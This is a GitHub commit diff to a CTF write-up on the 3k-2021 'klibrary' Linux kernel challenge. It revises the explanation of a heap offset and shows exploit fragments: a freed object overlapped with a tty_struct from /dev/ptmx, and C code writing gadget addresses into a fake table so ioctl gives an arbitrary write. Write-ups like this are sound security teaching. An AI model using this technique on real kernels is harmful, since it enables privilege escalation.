Skip to content

Commit f7a6b50

Browse files
committed
3k klibrary better explanation of +32
1 parent 9a4b1e7 commit f7a6b50

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

ctf/3k-2021-klibrary/README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -929,9 +929,8 @@ Because in this way after a `remove(1); open("/dev/ptmx")` with:
929929
- `get_book_description(0)` I can read the tty_struct
930930
- `add_description_to_book(0)` I can overwrite the tty_struct
931931
932-
The +32 is needed to rewrite the `index, next, prev` of the book0 through an
933-
`add_description_to_book(1)`, a bit messy I know. In reality this is handled in the
934-
code so it's not useful but I discovered it only after I've already implemented it.
932+
The +32 is needed to not overwrite the `index, next, prev` of `book0`, otherwise
933+
we couldn't access `book0` if we overwrite `book0` with `book1`.
935934
936935
We also need luck and hope that tty_struct doesn't overwrite the index of `book0` or
937936
we can't access `book0` anymore (spoiler: we have luck)
@@ -1046,10 +1045,11 @@ So my plan was the following (in red the tty_struct):
10461045
((uint64_t *)buf)[32 / 8] = dummy_ret; // cleanup functions
10471046
((uint64_t *)buf)[40 / 8] = dummy_ret;
10481047
((uint64_t *)buf)[48 / 8] = dummy_ret;
1049-
((uint64_t *)buf)[96 / 8] = mov_addr_rdx_esi; // write
1048+
((uint64_t *)buf)[96 / 8] = mov_addr_rdx_esi; // ioctl function -> arbitrary write
10501049
ioctl_add_desc(2, buf);
10511050
ioctl_get_desc(2, buf);
10521051

1052+
// This part is not needed
10531053
book_details b = {
10541054
.index = 0,
10551055
.next = (void *)(heap_ptr + 32),

0 commit comments

Comments
 (0)